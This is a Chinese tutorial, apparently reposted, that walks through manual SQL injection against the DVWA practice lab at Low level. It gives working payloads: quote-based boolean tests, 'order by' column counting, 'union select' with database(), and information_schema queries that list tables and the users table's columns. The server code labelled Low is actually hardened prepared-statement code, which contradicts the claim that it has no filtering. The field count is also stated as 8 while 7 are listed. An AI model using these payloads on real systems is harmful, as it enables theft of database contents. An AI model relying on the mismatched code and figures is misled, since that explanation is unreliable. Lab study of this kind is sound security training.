当前位置: 代码迷 >> 综合 >> DVWA-SQL注入(SQL Injection)
  详细解决方案

DVWA-SQL注入(SQL Injection)

热度:41   发布时间:2023-12-16 11:43:16.0

DVWA-SQL注入(SQL Injection)

    • SQL Injection
      • 手工注入的思路
      • Low
        • 漏洞利用
          • 判断是否存在注入,注入式字符型还是数字型
          • 猜解SQL查询语句中的字段数
          • 确定显示的字段顺序
          • 获取当前数据库
          • 获取数据库中的表
          • 获取表中的字段

SQL Injection

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的,SQL注入漏洞的危害是巨大的,常常会导致整个数据库被"脱裤",尽量如此,SQL注入仍是现在最常见的Web漏洞之一。

手工注入的思路

自动化的注入神器sqlmap固然好用,但是还要掌握一些手工注入的思路,下面是手工注入的步骤(非盲注)
1.判断是否存在注入,注入式字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定现实的字段顺序
4.获取当前的数据库
5.获取数据库中的表
6.获取表中的字段
7.下载数据

Low

服务器端核心代码<?phpif( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {
    // Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {
    // Get values$first = $row[ 'first_name' ];$last  = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {
    $id}<br />First name: {
    $first}<br />Surname: {
    $last}</pre>";}}
}// Generate Anti-CSRF token
generateSessionToken();?> 
可以看出,LOW级别的代码对来自客户端的参数id没有进行任何的检查和过滤,存在明显的SQL注入
漏洞利用
显示攻击场景下,攻击者是无法看到后端的代码,所以下边的手工注入步骤是建立在无法看到源代码的基础上
判断是否存在注入,注入式字符型还是数字型

1.输入1,显示成功

在这里插入图片描述

2.输入1’ and ‘1’ =’ 2,显示失败,没有返回值

在这里插入图片描述

3.输入1’ or ‘1234’= ’ 1234,显示成功

在这里插入图片描述

返回了多个结果,说明存在字符型注入

猜解SQL查询语句中的字段数

1.输入1’ or 1=1 order by 1 #,查询成功

在这里插入图片描述

2.输入1’ or 1=1 order by 2 #,查询成功

在这里插入图片描述

3.输入1’ or 1=1 order by 3 #,查询失败

在这里插入图片描述

总结:说明执行的SQL查询语句只有两个字段,这里的是First name、Surname

确定显示的字段顺序

输入1’ union select 1,2 #,查询成功:

在这里插入图片描述

说明执行的SQL语句为select First name,Surname from 表 where ID=’ id’ …

获取当前数据库

输入1’ union select 1,database() #,查询成功:

在这里插入图片描述

说明现在当前的数据库是dvwa。

获取数据库中的表

输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:

在这里插入图片描述

说明数据库dvwa中有两个表,guestbook和users。

获取表中的字段

输入1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ #,查询成功:

在这里插入图片描述

说明users表中有8个字段,分别是user_id,first_name,last_name,password,avatar,last_login,failed_login

  相关解决方案